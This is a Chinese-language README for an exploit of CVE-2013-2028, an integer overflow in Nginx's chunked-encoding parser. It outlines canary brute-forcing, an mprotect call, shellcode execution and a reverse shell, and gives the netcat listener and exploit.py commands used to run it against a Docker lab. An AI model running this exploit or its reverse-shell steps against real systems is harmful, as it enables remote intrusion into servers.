CVE-2013-2028 漏洞利用

漏洞详情

受影响软件：Nginx 1.3.9 < 1.4.0
修复提交：https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

漏洞存在于函数 ngx_http_parse_chunked 中。该漏洞利用会触发 ngx_http_parse_chunked 中的整数溢出，随后利用该溢出覆盖栈，从而劫持控制流。

利用详情

实际漏洞利用包含 4 个步骤：

1. 通过逐字节暴力破解找出栈金丝雀（stack canary）的值
2. 使用 rcx 中的值（指向 lpthread 中某处）计算 mprotect 的地址，并以适当的参数调用 mprotect。
3. 将 shellcode 复制到 RWX 内存区域。
4. 跳转到 shellcode，并启动反向 shell。

复现方法

1. 在主机系统上启动监听器，例如使用 netcat：nc -lvp 4345
2. 在虚拟机上启动 docker：sudo docker-compose up --build
3. 运行漏洞利用程序：python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
4. 让漏洞利用程序找出金丝雀的实际值，并启动反向 shell。